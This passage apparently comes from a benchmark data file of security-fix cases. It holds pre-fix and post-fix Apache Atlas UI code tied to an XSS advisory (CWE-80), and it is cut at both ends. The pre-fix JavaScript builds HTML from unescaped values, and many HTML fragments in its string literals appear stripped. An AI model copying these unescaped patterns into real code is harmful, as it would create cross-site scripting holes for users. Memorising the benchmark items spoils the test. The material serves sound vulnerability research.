\"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj.attributes[key];\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return RelationSearchResultLayoutView;\n});" pre_fix = "], function(require, Backbone, tableDragger, RelationSearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VRelationshipSearchResultList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform) {\n 'use strict';\n\n var RelationSearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends RelationSearchResultLayoutView */\n {\n _viewName: 'RelationSearchResultLayoutView',\n\n template: RelationSearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n REntityTableLayoutView: \"#r_relationSearchResultTableLayoutView\"\n },\n\n /** ui selector cache */\n ui: {\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n colManager: \"[data-id='colManager']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\"\n },\n templateHelpers: function() {\n return {\n searchType: this.searchType,\n fromView: this.fromView,\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'searchVent', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'profileDBView', 'relationshipDefCollection'));\n //this.entityModel = new VEntity();\n this.searchCollection = new VRelationshipSearchResultList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.searchType = 'Basic Search';\n this.columnOrder = null;\n this.defaultColumns = [\"name\", \"typeName\", \"end1\", \"end2\", \"label\"];\n if (this.value) {\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error)) || 'Invalid Expression';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isRelationTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.relationshipName) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns);\n if (this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"relationSearch:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isRelationTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {\n 'query': null,\n 'searchType': 'basic'\n };\n if (this.value) {\n value = this.value;\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n this.$(\".relationLink\").show();\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && this.value.relationshipName && this.searchTableColumns) {\n this.searchTableColumns[this.value.relationshipName] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && this.value.relationshipName && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.relationshipName] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isRelationSearch = Utils.getUrlState.isRelationTab(),\n relationshipFilters = null;\n if (isRelationSearch) {\n relationshipFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.relationshipFilters);\n }\n if (isPostMethod && isRelationSearch) {\n var excludeDefaultColumn = this.value.relationshipName && this.searchTableColumns ? _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns) : null,\n filterObj = {\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null,\n 'relationshipFilters': relationshipFilters\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.relations) {\n dataLength = dataOrCollection.relations.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n that.searchCollection.reset(dataOrCollection.relations, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.relations, { silent: true });\n }\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (isRelationSearch && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n that.$('.searchResult').html(searchString);\n }\n },\n silent: true,\n reset: true\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.relationshipSearchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'relationshipName': value.relationshipName || null });\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.relationshipName] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.relationshipName] == null ? [] : this.searchTableColumns[this.value.relationshipName];\n }\n col['name'] = {\n label: \"Guid\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: false,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj),\n img = \"\";\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n img = \"
    \";\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n img = \"
    \";\n }\n return (img + nameHtml);\n }\n })\n };\n if (this.value) {\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n col['end1'] = {\n label: \"End1\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.contains(columnToShow, 'end1') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end1) {\n var key, uniqueAttributesValue;\n for (key in obj.end1.uniqueAttributes) {\n uniqueAttributesValue = obj.end1.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end1.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['end2'] = {\n label: \"End2\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.contains(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end2) {\n var key, uniqueAttributesValue;\n for (key in obj.end2.uniqueAttributes) {\n uniqueAttributesValue = obj.end2.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end2.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['label'] = {\n label: \"Label\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj) {\n return \"\" + obj.label + \"\"\n }\n }\n })\n };\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.relationshipDefCollection.fullCollection.find({ name: this.value.relationshipName });\n if (def) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.relationshipDefCollection, attrMerge: true }) : [];\n _.each(attrObj, function(obj) {\n var key = _.escape(obj.name),\n isRenderable = _.contains(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1;\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0; // commented : as sorting is required for all the columns except non-primitive types\n\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj.attributes[key];\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return RelationSearchResultLayoutView;\n});" repo = "apache/atlas" url = "https://github.com/apache/atlas.git" [[case]] advisory = "GHSA-v73p-f52r-fmmr" advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." commit = "800f979307d6ea0f0b6563ec890f6b728022e497" cwe = "CWE-80" family = "output_encoding" function = "ShowMoreText" function_lines = [[23, 68]] id = "apache-atlas-9ddeccc45a8bbeb5" language = "typescript" method = "fix_site" parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" path = "dashboard/src/components/ShowMore/ShowMoreText.tsx" post_fix = "const ShowMoreText = ({\n value = \"\",\n maxLength = 160,\n more = \"show more..\",\n less = \"show less..\",\n isHtml = false\n}: {\n value: string;\n maxLength: number;\n more: string;\n less: string;\n isHtml?: boolean;\n}) => {\n const [isTruncated, setIsTruncated] = useState(true);\n\n if (isEmpty(value)) return <>NA;\n\n const shouldTruncate = value.length > maxLength && isTruncated;\n const displayValue = shouldTruncate\n ? value.substring(0, maxLength) + \"...\"\n : value;\n const safeValue = isHtml ? sanitizeHtmlContent(displayValue) : displayValue;\n\n return (\n <>\n {isHtml ? (\n \n ) : (\n displayValue\n )}\n {value.length > maxLength && (\n setIsTruncated((prev) => !prev)}\n 